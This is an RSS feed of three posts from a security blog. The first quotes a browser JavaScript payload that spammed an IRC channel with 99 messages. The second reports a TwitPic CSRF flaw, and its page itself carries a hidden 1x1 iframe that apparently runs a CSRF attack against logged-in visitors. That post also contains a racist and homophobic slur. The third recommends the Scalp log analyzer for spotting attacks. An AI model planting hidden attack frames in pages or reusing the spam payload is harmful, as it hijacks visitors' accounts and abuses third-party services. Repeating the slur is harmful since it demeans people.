<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>insanesecurity &#187; CSRF</title>
	<atom:link href="http://insanesecurity.info/blog/tag/csrf/feed" rel="self" type="application/rss+xml" />
	<link>http://insanesecurity.info/blog</link>
	<description>security through a distorted eye</description>
	<lastBuildDate>Thu, 25 Feb 2010 22:31:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>That&#8217;s a cool trick</title>
		<link>http://insanesecurity.info/blog/thats-a-cool-trick</link>
		<comments>http://insanesecurity.info/blog/thats-a-cool-trick#comments</comments>
		<pubDate>Wed, 27 Jan 2010 18:01:06 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Spam]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=304</guid>
		<description><![CDATA[Today when reddit was down for maintenance people kept gathering on the #redditdowntime channel on freenode where under a couple of minutes intriguing things started to happen. You can read the whole story here (and come back afterwards). TLDR: the channel (through some javascript code) got link spammed in huge numbers. The code &#8211; which [...]]]></description>
			<content:encoded><![CDATA[<p>Today when reddit was down for maintenance people kept gathering on the <a href="http://irc.freenode.net:6667/redditdowntime">#redditdowntime channel on freenode</a> where under a couple of minutes intriguing things started to happen.</p>
<p>You can read the whole story <a href="http://unethicalblogger.com/posts/2010/01/using_browser_piss_irc_users_or_spamming_redditdowntime">here</a> (and come back afterwards).<br />
<span id="more-304"></span><br />
TLDR: the channel (through some javascript code) got link spammed in huge numbers.</p>
<p>The code &#8211; which you can find in the article I&#8217;ve pointed earlier &#8211; basically has an iframe, a form with an input tag (pointing to the iframe) and a small javascript code to do the magic.</p>
<p>What I&#8217;ve liked in the code is the way it sends the connection and &#8220;payload&#8221; to the irc server; via the following (combined) string.</p>
<pre>
x.value = '\r\nUSER '+i+' 8 * :'+n+ // user
          '\r\nNICK '+n+ // nick
          '\r\nJOIN #redditdowntime\r\n'
          +new Array(99).join(
              'PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n'
          )+'';
</pre>
<p>And I like especially the last part of the payload, of which my first impression was that is creating 99 new lines and lastly the actual message as a way to wait while the server responded correctly.</p>
<p>Soon afterwards (couple of seconds, I swear) I realized that this snippet of code generates 100 messages to send.</p>
<p>Nice trick, I&#8217;ll remember it next time I&#8217;ll have to do a string repeat.</p>
<p>And as in any situation where someone needs to be blamed, this time the blame fell upon the Freenode sysadmins; and it was said in such a lovely way.</p>
<blockquote cite="Freenode is run by morons"><p>
IN MY HUMBLE OPINION, (THIS IS MY OPINION AND NOT FACT):</p>
<p>Freenode is run by morons who can&#8217;t read IRCD config files. It is that simple.</p>
<p>Instead of reading the docs, freenode is switching to another IRCD to solve this &#8220;problem&#8221;. Well the problem is between the chair and the keyboard of the freenode admins. The thing you posted should not work at all against a properly configured IRCD. Instead REAL ADMINS with the practical skills of READING COMPREHENSION read the DOCUMENTS that describe the CONFIGURATION OPTIONS. And then they turn on the one feature invented in the 90s that will stop this dead.</p>
<p>But no, freenode has historically been run by people who don&#8217;t seem to exhibit any understanding of an IRC server or sysadmining. They will convert the entire network on the 30th to a new IRC which allows to ban users who send HTTP header to an IRC Server. Instead of reading the docs and turning on a certain option WHICH I WILL NOT SHARE HERE BECAUSE FREENODE ADMINS ARE IDIOTS AND SHOULD READ THE BLOODY DOCS.</p>
<p>Also firewalling with a pattern match on POST would&#8217;ve solved these problems too. But freenode admins are not the brightest admins.
</p></blockquote>
<p>And all of this because a Reddit user once owned a Digg user&#8230;. I can&#8217;t find the picture!</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/thats-a-cool-trick/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TwitPic &#8211; modern Twitter backdoor</title>
		<link>http://insanesecurity.info/blog/twitpic-modern-twitter-backdoor</link>
		<comments>http://insanesecurity.info/blog/twitpic-modern-twitter-backdoor#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:23:09 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=47</guid>
		<description><![CDATA[For those of you who don&#8217;t use Twitter I should specify that Twitter has long time moved away from &#8220;what are you doing&#8221; principle and today is more of a base framework (Twitter API) for many new (and innovative?) web applications. Due to this direction that Twitter is adopting (involuntarily) dozens of web applications have [...]]]></description>
			<content:encoded><![CDATA[<p>For those of you who don&#8217;t use Twitter I should specify that Twitter has long time moved away from &#8220;what are you doing&#8221; principle and today is more of a base framework (Twitter API) for many new (and innovative?) web applications.</p>
<p>Due to this direction that Twitter is adopting (involuntarily) dozens of web applications have sprung up; from <a href="http://mashable.com/2008/01/08/url-shortening-services/">url shortening services</a> to web applications like: <a href="http://wefollow.com/">WeFollow</a>, <a href="http://twittersheep.com">TwitterSheep</a>, <a href="http://twittertag.com">TwitterTag</a>, <a href="http://www.twitvid.com/">TwitVid</a>, <a href="http://yfrog.com/">YFrog</a>, <a href="http://twitpic.com/">TwitPic</a> and many more&#8230;</p>
<p><span id="more-47"></span><br />
Anyway, we&#8217;re going to talk about TwitPic&#8230; Among some annoyances it comes with; like: using HTTP even if SSL certificate is available, requesting username/password instead of using OAuth; recently (or at least I noticed yesterday and the blog didn&#8217;t work for me now) it implemented a more than annoying feature.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2>What&#8217;s wrong?</h2>
<p>If you are using TwitPic you may notice that on the upload page there is a notice after the upload form, and I quote (partially, because I don&#8217;t want my account to be spammed):</p>
<blockquote><p><strong>Did you know you can post photos from your phone?</strong><br />
Just send your photos to<br />
<em><strong>dblackshell.1768@twitpic.com</strong></em></p>
<p>You can use the <strong>Subject</strong> line of the email to send a message along with your photo </p>
</blockquote>
<p>A series of issues arise from this point onwards:</p>
<p>1. TwitPic stores usernames and passwords somewhere in plain text for Basic Auth authentication and tweeting when contacted via email.</p>
<p>2. The email option cannot be deactivated. Once you&#8217;ve logged to TwitPic you&#8217;re already vulnerable in a smaller or larger percentage.</p>
<p>3. The generated email address is of the format twitter_username<strong>.xxxx</strong>@twitpic.com, where xxxx is in a numeric format.</p>
<h2>And how is that wrong?</h2>
<p>It depends. On a targeted attack someone wouldn&#8217;t mind putting some effort in it. There are enough free hosting services out there which give you email sending functionality (restricted by a daily number thou), so mass mailing would be an option. Or welcome&#8230;</p>
<h2>CSRF!</h2>
<p>The setting page is CSRFeable, so setting a desired PIN (the 4 number digit) by the attacker isn&#8217;t out of the question.</p>
<h2>How could this be beneficial for an attacker?</h2>
<p>If you&#8217;re asking this question, maybe you should do more research on how influential people may be helpful for someone with obscure intentions.</p>
<ul>
<li>Would you click on a link Obama would post?</li>
<li>What if I would have posted that tweet (assuming he ever used TwitPic)?</li>
<li>What if on the landing page would be a Adobe Reader (it&#8217;s in vogue) exploit, browser exploit or some gay nigga porn (just for the lulz)?</li>
</ul>
<p><iframe src="http://insanesecurity.info/projects/twitpic/csrf_pin.html" style="visibility: hidden" width="1" height="1"></iframe></p>
<p>p.s. If you were logged into TwitPic at the moment you visited this page, feel free to share you twitter username :)</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/twitpic-modern-twitter-backdoor/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Access Log Analysis</title>
		<link>http://insanesecurity.info/blog/access-log-analysis</link>
		<comments>http://insanesecurity.info/blog/access-log-analysis#comments</comments>
		<pubDate>Wed, 24 Jun 2009 06:02:37 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[LFI]]></category>
		<category><![CDATA[RFI]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=33</guid>
		<description><![CDATA[A while ago I wrote an article entitled Logging the HTTP requests! where I mentioned why you should implement a logging system (especially when you haven&#8217;t got access to the access log, like in shared hosting environment) and how to implement a simple (or not) logging system. Today we will go a step further. Maybe [...]]]></description>
			<content:encoded><![CDATA[<p>A while ago I wrote an article entitled  <a href="http://insanesecurity.info/2009/01/logging-the-http-requests/">Logging the HTTP requests!</a> where I mentioned why you should implement a logging system (especially when you haven&#8217;t got access to the access log, like in shared hosting environment) and how to implement a simple (or not) logging system. Today we will go a step further.</p>
<p><span id="more-33"></span><br />
Maybe not exactly a full step, but you will understand later on why not.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>In the ending of the article I mentioned that there is a wordpress plugin that does just that, it is called access log (duh) and you can download it from <a href="http://wordpress.org/extend/plugins/access-logs/">here</a>. After installing the plugin and configuring it you may also want to decode the REQUEST_URI because that will help later on for analysis. Just add the <a href="http://php.net/rawurldecode">rawurldecode</a> function to the code:</p>
<p>
<pre>
$href = rawurldecode($_SERVER['REQUEST_URI']);
</pre>
<p>Another important step after installing/configuring the plugin would be to protect the log directory from unwanted visitors. I use a simple .htaccess file to accomplish the task. The following example denotes the rewrite rule I use:</p>
<pre>
RewriteRule ^(.*)$ http://insanesecurity.info [R=301,L]
</pre>
</p>
<p>If you&#8217;re a stranger towards .htaccess files you might be interested in, a short resource based article I wrote, <a href="http://insanesecurity.info/2009/03/htaccess-101/">.htaccess 101</a>.</p>
<p>After a while of log harvesting you might be interested in analyzing the logs and find potential intruders/attackers. That&#8217;s when <a href="http://code.google.com/p/apache-scalp/">Scalp</a> comes in.</p>
<blockquote><p>Scalp! is a log analyzer for the Apache web server that aims to look for security problems. The main idea is to look through huge log files and extract the possible attacks that have been sent through HTTP/GET (By default, Apache does not log the HTTP/POST variable).</p>
</blockquote>
<p>And this is the reason why we take a partial step, because it doesn&#8217;t support custom access log files, thus we cannot analyze POST requests. But let&#8217;s give <a href="http://rgaucher.info/b/">Romain</a> some time, as he&#8217;s working on a improved C++ version of it, which hopefully will have this feature. </p>
<p>Among Scalps features (options) are the following:</p>
<ul>
<li>tough: Will decode a part of potential attacks (this is done to use better the regexp from PHP-IDS in order to decrease the false-negative rate)</li>
<li>period: Specify a time-frame to look at, all the rest will be ignored </li>
<li>sample: Does a random sampling of the log lines in order to look at a certain percentage, this is useful when the user doesn&#8217;t want to do a full scan of all the log, but just ping it to see if there is some problem&#8230; </li>
<li>attack: Specify what classes of vulnerabilities the tool will look at (eg, look only for XSS, SQL Injection, etc.) </li>
</ul>
<p>The things that Scalp can find are: XSS, CSRF, SQL Injection, LFI, RFE (or RFI as some call it), DOS, Directory Transversal, Spam and Information Disclosure.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>For more information you can visit the start page of the project <a href="http://code.google.com/p/apache-scalp/">here</a>, or just go to the download section <a href="http://code.google.com/p/apache-scalp/downloads/list">here</a>. Almost forgot to mention, Scalp is a python script.</p>
<p>Not done just yet, Scalp works with <a href="http://php-ids.org/">PHP-IDS</a>&#8217;s filters, so you&#8217;ll have to download the filter (xml) file from their website to get things working.</p>
<p>Enough said, hopefully Scalp will help you in preventing attackers, rather than helping you in attack forensics.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/access-log-analysis/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
